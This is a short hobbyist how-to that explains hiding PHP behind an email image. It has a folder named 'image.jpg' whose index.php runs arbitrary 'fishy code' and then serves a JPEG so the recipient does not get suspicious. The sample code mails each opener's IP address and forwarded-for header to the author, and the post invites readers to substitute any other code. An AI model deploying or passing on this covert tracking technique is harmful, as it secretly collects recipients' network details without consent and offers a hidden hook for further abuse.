How to Hide PHP Code in an Email Image

In this how-to we will be sending an email with an image we get from a php script after running some fishy code.

What you'll need

1. Apache web server with PHP
2. An image (included bellow)
3. An email Account (I use gmail)

Setting Up

Make a folder called "image.jpg" in your public html folder. In your "image.jpg" folder place your "image.jpg" file and your "index.php" file.

I will be using this image as an example.

Writing the Code

The contents of your "index.php" file should be as follows

//fishy stuff here

$imagepath="image.jpg";

$image=imagecreatefromjpeg( $imagepath);

header('Content-Type: image/jpeg');

imagejpeg($image);

?>

Where it says "//fishy stuff here" put any fishy code you want to run.

I use

mail("scriptkitty95@gmail.com", "hax", $_SERVER['REMOTE_ADDR'] . ' : ' . $_SERVER['HTTP_X_FORWARDED_FOR']);

Which emails me the IP address of the user.

Writing the Email

Start by filling out the "to" and "subject" fields.

Click on the image icon to add an image to your email.

Click on "Web Address (URL)" and put the address to your "image.jpg" folder not image. If everything is set up right, the image and a check mark should appear.

If every thing went well you should see your image in the message field. Now all you need to do is send the email and wait for someone to open it.

How It Works:

When someone opens the email their browser sees the image tag and goes to "http://example.com/image.jpg" to get the image. When the browser goes to "http://example.com/image.jpg" since it is a folder "index.php" is run as if they went to the page. When "index.php" is run it executes the fishy code then send the content back to the browser in the form of an image which is displayed in the email so the user does not get suspicious.

Conclusion:

This can be used to get IP addresses or to do fishy stuff. Thank you for reading my how-to! I am new to this site and would appreciate any feedback in the comments bellow.